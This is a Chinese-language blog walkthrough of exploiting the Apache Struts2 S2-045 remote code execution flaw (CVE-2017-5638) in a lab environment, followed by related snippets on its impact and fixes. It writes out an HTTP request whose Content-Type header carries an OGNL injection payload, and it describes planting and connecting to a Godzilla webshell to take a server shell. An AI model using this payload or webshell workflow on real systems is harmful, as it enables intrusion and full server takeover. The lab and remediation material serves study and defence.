struts2-045 远程代码执行漏洞(CVE-2017-5638)

目录

S2-045 远程代码执行漏洞(CVE-2017-5638)

开启漏洞环境


S2-045 远程代码执行漏洞(CVE-2017-5638)

开启漏洞环境

 进入Ubuntu系统下的对应漏洞环境,开启环境

443c8b97fcc37ce64e8b1069023097a7.png

 将漏洞环境开启来

d3a0e5616b3128e6f6ecdf5bfcb88371.png

查看是否启动成功

2cec38063d847f84754bcd68b87f2c7c.png

 启动成功过后,去浏览器进行访问:
通过浏览器去访问该漏洞环境
 http://ip:8080

335074169bbf20760e2c19d8915e5dce.png

 接下来我们尝试去上传文件(随便上传),然后抓取数据包,修改数据包,然后观察响应数据的变化

随便上传一个文件

46bb7cf065b95e050a53ab97cf375e20.png

抓取数据包:

抓取数据包,修改数据包,查看修改后,收到的响应数据
 ​
 直接发送以下数据包
 POST / HTTP/1.1
 Host: localhost:8080
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Accept-Language: en-US,en;q=0.8,es;q=0.6
 Connection: close
 Content-Length: 0
 Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('lc',123+123)}.multipart/form-data
 ​
 发现123+123已经被执行,显示出结果

抓包

fa412675daa1d6e4ae9c16592007eb26.png

发给重发器过后:

 修改数据包信息,查看响应

7fdda7874260d55712e615656257d861.png

 观察发现我们输入的123+123,已经被执行

 解析了以后,我们借助第三方工具,来进行生成木马文件,然后进行随意上传文件,进行漏洞检测,然后上传木马文件,获取服务器的shell
 工具:哥斯拉、struts2漏洞检测工具

打开哥斯拉,生成木马:

ab53582cab5a79b49373da384a7a1bb3.png

 查看木马文件

2803267960a1f99cac7624e956148b75.png

 将随意的文件尝试上传,观察url变化

f5ea321e07127f9fca51bb59e9df21ba.png

 上传后,观察此url

432de02917b92dd29090f6f14a337e41.png

 
复制此url,借助第三方工具进行扫描
 工具:struts2漏洞扫描工具

27e8ee4b8b54263b9dd87dc8c7c25ce7.png

 查看检查结果,存在漏洞

eb8619af20892b5178d646073d3f06c1.png

 验证漏洞

fda3214a244a6d0d29c8515ca5020a4a.png

 远程命令执行

c957674c6f0df27049072a396190eb68.png

 查看根目录下的内容

6acf5d16f4d1df8964af1cf5bca0fc61.png

 点击文件上传模块,尝试上传木马文件

a0875707e81f29f95c783124283611e0.png

 查看是否能够上传成功,观察到已经上传成功

ea682d3fac9af91666d566f73535a968.png

strut2漏洞检测以及利用工具地址:

https://github.com/shack2/Struts2VulsTools/releases/tag/2.3.20190927

 观察上传访问路径,进行复制,使用第三方工具(哥斯拉)进行连接

3e4a89c124e3524e31d9155f800da547.png

 通过哥斯拉来进行连接

fee7fc88f5a52f45e784cff3719f9e18.png

 连接成功,进行添加,进入,成功拿到服务器shell

c93cd155b5952423d89c08b4da52000b.png

 成功添加

6edb7db638e8da158d04fbab88e36ff1.png

 点击进入即可,成功拿到shell

94231fc5228390f31e80febe3448fb61.png

可对文件进行任何操作:

67c5ce8ef9ca360fbdcaf169f5e5fa67.png

文章不妥之处,欢迎批评指正! 

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
  一、漏洞简介     Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品:Struts 1和Struts 2。     Apache Struts 2.3.5 - 2.3.31版本及2.5 - 2.5.10版本存在远程代码执行漏洞(CNNVD-201703-15 2,CVE-2017-5638)。该漏洞与Apache Struts2 (S2-045远程代码执行漏洞原理基本相同,均是由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器执行任意命令。      二、漏洞危害     攻击者可通过发送恶意构造的HTTP数据包利用该漏洞,在受影响服务器执行系统命令,进一步可完全控制该服务器,造成拒绝服务、数据泄露、网站造篡改等影响。由于该漏洞利用无需任何前置条件(如开启dmi,debug等功能)以及启用任何插件,因此漏洞危害较为严重。     三、修复措施     目前,Apache官方已针对该漏洞发布安全公告,并且漏洞利用代码已被公布在互联网上,请受影响用户及时检查是否受该漏洞影响。另外,已通过升级方式修复了Apache Struts2 (S2-045远程代码执行漏洞的用户,不在该漏洞影响的范围内。     【自查方式】     用户可查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar文件,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞。     【升级修复】     受影响用户可升级版本至Apache Struts 2.3.32 或 Apache Struts 2.5.10.1以消除漏洞影响。     官方公告: https://cwiki.apache.org/confluence/display/WW/S2-046 https://cwiki.apache.org/confluence/display/WW/S2-046
Struts2命令执行漏洞s2-045是指Struts2框架中的一个安全漏洞,攻击者可以通过特殊构造的参数来执行任意命令。 修复Struts2命令执行漏洞s2-045需要采取以下步骤: 1. 升级Struts2版本:首先需要升级到Struts2最新版本,因为漏洞是在旧版本中存在的。最新版本通常会修复已知的安全漏洞,并提供其他改进。 2. 配置安全策略:在Struts2的配置文件中,可以添加一些安全策略来防止命令执行漏洞的利用。可以禁用某些敏感的操作或限制特定的请求访问权限。 3. 过滤用户输入:对于用户输入的数据,应该进行有效的过滤和验证。可以使用正则表达式或特定的字符过滤函数来检查输入的合法性,避免注入恶意代码。 4. 校验URL:URL中的参数也需要进行校验和过滤,以防止攻击者通过URL参数来执行恶意代码。 5. 防火墙和Web应用程序防护:在服务器上配置防火墙和Web应用程序防护系统,可以增加额外的安全层。这些系统可以检测和阻止恶意的URL请求,减少被攻击的风险。 6. 定期更新和审查:持续关注Struts2安全公告和更新,及时升级修复已知的安全漏洞。同时,定期审查应用程序的安全配置和代码,发现并修复可能存在的漏洞。 通过以上措施,可以有效修复Struts2命令执行漏洞s2-045,提高应用程序的安全性,防止被攻击和利用。同时,建议开发人员和管理员密切关注最新的安全漏洞信息,及时采取相应的措施进行修复和防范。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值